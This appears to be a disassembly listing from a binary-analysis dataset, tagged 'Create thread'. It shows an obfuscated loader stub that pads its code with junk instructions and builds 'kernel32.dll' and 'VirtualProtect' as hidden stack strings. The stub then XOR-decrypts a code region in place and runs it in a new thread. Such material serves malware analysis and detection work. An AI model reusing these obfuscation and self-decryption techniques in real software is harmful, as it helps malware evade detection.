Function at 0x46bace
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg ecx, eax
xchg ecx, eax
call fcn.0046be99
xchg ebx, edx
xchg edx, ebx
lea eax, [ebp - 0xd8]
xchg ebx, esi
xchg esi, ebx
pushfd
push 0xc53ecc66
add esp, 4
popfd
mov ebx, 0x61
push edx
push esi
pop esi
pop edx
pushfd
xor esi, 0x36cd0526
xor esi, 0x36cd0526
popfd
add bx, 0xa
xchg ebx, ebx
mov esi, esi
mov word [eax], bx
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x7842b1da
add esp, 4
popfd
sub bx, 6
pushfd
inc esi
dec esi
popfd
mov word [eax + 2], bx
pushfd
push ecx
add esp, 4
popfd
mov eax, eax
add bx, 0xd
pushfd
xor edi, 0xeb397d5a
xor edi, 0xeb397d5a
popfd
mov word [eax + 4], bx
pushfd
push edx
add esp, 4
popfd
sub bx, 4
xchg edx, edx
nop
mov word [eax + 6], bx
pushfd
push 0xb4913e4c
add esp, 4
popfd
sub bx, 9
xchg edi, ebx
xchg ebx, edi
mov edx, edx
mov word [eax + 8], bx
push ecx
pop ecx
pushfd
push 0x81eba86b
add esp, 4
popfd
add bx, 7
push edx
push esi
pop esi
pop edx
xchg ebx, ebx
mov word [eax + 0xa], bx
pushfd
push 0x7437a0d6
add esp, 4
popfd
sub bx, 0x39
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 0xc], bx
push ebx
push edx
pop edx
pop ebx
pushfd
push eax
add esp, 4
popfd
dec bx
push edi
push ebx
pop ebx
pop edi
xchg ecx, eax
xchg ecx, eax
mov word [eax + 0xe], bx
nop
sub bx, 4
pushfd
push 0x8e4cfed9
add esp, 4
popfd
mov word [eax + 0x10], bx
push edi
pop edi
pushfd
xor esi, 0x3b89a972
xor esi, 0x3b89a972
popfd
add bx, 0x36
pushfd
push 0x981574c5
add esp, 4
popfd
mov word [eax + 0x12], bx
xchg edx, eax
xchg edx, eax
nop
add bx, 8
push ecx
pop ecx
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 0x14], bx
push eax
pop eax
mov word [eax + 0x16], bx
pushfd
push 0x46d11c2f
add esp, 4
popfd
mov word [eax + 0x18], 0
pushfd
inc esi
dec esi
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push edi
push eax
pop eax
pop edi
pushfd
push 0x6b98ff14
add esp, 4
popfd
mov dword [ebp - 0x10], eax
push edx
pop edx
pushfd
xor ebx, 0x8de158c8
xor ebx, 0x8de158c8
popfd
lea eax, [ebp - 0xd8]
pushfd
push edi
add esp, 4
popfd
mov ebx, 0x61
pushfd
push 0x891e9157
add esp, 4
popfd
sub bl, 0xb
pushfd
push 0xe0059517
add esp, 4
popfd
mov byte [eax], bl
push edx
pop edx
add bl, 0x13
xchg esi, eax
xchg esi, eax
mov byte [eax + 1], bl
pushfd
push esi
add esp, 4
popfd
add bl, 9
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 2], bl
mov edx, edx
add bl, 2
pushfd
inc esi
dec esi
popfd
nop
mov byte [eax + 3], bl
xchg esi, edi
xchg edi, esi
inc bl
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
inc esi
dec esi
popfd
xchg edi, esi
xchg esi, edi
sub bl, 0x14
xchg ebx, ebx
mov byte [eax + 5], bl
pushfd
push 0xf820284f
add esp, 4
popfd
add bl, 0xb
xchg ebx, ebx
mov byte [eax + 6], bl
pushfd
xor ecx, 0x47bd4320
xor ecx, 0x47bd4320
popfd
sub bl, 0x1c
pushfd
push 0xdb5e232e
add esp, 4
popfd
mov byte [eax + 7], bl
pushfd
inc edi
dec edi
popfd
add bl, 0x22
push esi
push ecx
pop ecx
pop esi
mov edi, edi
mov byte [eax + 8], bl
pushfd
push 0x1b20735c
add esp, 4
popfd
sub bl, 3
xchg esi, esi
mov byte [eax + 9], bl
pushfd
xor ebx, 0x773b6bee
xor ebx, 0x773b6bee
popfd
add bl, 5
pushfd
xor esi, 0x89a2e750
xor esi, 0x89a2e750
popfd
mov byte [eax + 0xa], bl
push eax
push edx
pop edx
pop eax
sub bl, 0xf
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0xb], bl
pushfd
push ebx
add esp, 4
popfd
sub bl, 2
xchg esi, esi
mov byte [eax + 0xc], bl
push ecx
pop ecx
mov esi, esi
add bl, 0x11
mov esi, esi
mov byte [eax + 0xd], bl
pushfd
push ecx
add esp, 4
popfd
xchg esi, edi
xchg edi, esi
mov byte [eax + 0xe], 0
pushfd
inc edx
dec edx
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push edx
add esp, 4
popfd
push edi
pop edi
mov dword [ebp - 0xc], eax
pushfd
xor eax, 0xd533cce3
xor eax, 0xd533cce3
popfd
pushfd
push esi
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
push eax
add esp, 4
popfd
push esi
push eax
pop eax
pop esi
push eax
push 4
push 0x471d5
push entry0
call dword [ebp - 0xc]
pushfd
inc edi
dec edi
popfd
nop
mov edi, entry0
push ecx
pop ecx
mov esi, 0x40100e
push ecx
pop ecx
pushfd
inc ecx
dec ecx
popfd
mov ecx, 0x471d5
xchg edx, edx
mov ebx, ebx
mov edx, 0x748617af
push eax
push ecx
pop ecx
pop eax
mov esi, esi
mov ebx, 0xb450fe8c
push esi
pop esi
cld
mov eax, eax
lodsb al, byte [esi]
xchg ecx, ecx
xor al, dl
xchg edx, edx
stosb byte es:[edi], al
mov esi, esi
ror edx, 5
mov edi, edi
imul edx, edx, 7
xchg edx, edx
test ebx, 1
xchg edx, edx
je 0x46be0b
mov edx, edx
add esi, 1
mov esi, esi
ror ebx, 1
xchg ecx, ecx
dec ecx
mov eax, eax
test ecx, ecx
xchg edi, edi
jne 0x46bde4
pushfd
xor ebx, 0xf6d3aab7
xor ebx, 0xf6d3aab7
popfd
lea eax, [ebp - 8]
pushfd
xor edx, 0xb0de3e35
xor edx, 0xb0de3e35
popfd
push eax
push 0x20
push 0x471d5
push entry0
call dword [ebp - 0xc]
push edi
push esi
pop esi
pop edi
lea eax, [ebp - 4]
xchg ecx, ecx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push edi
pop edi
push esi
pop esi
mov ebx, ebx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push esi
add esp, 4
popfd
push ecx
pop ecx
jmp 0x46be66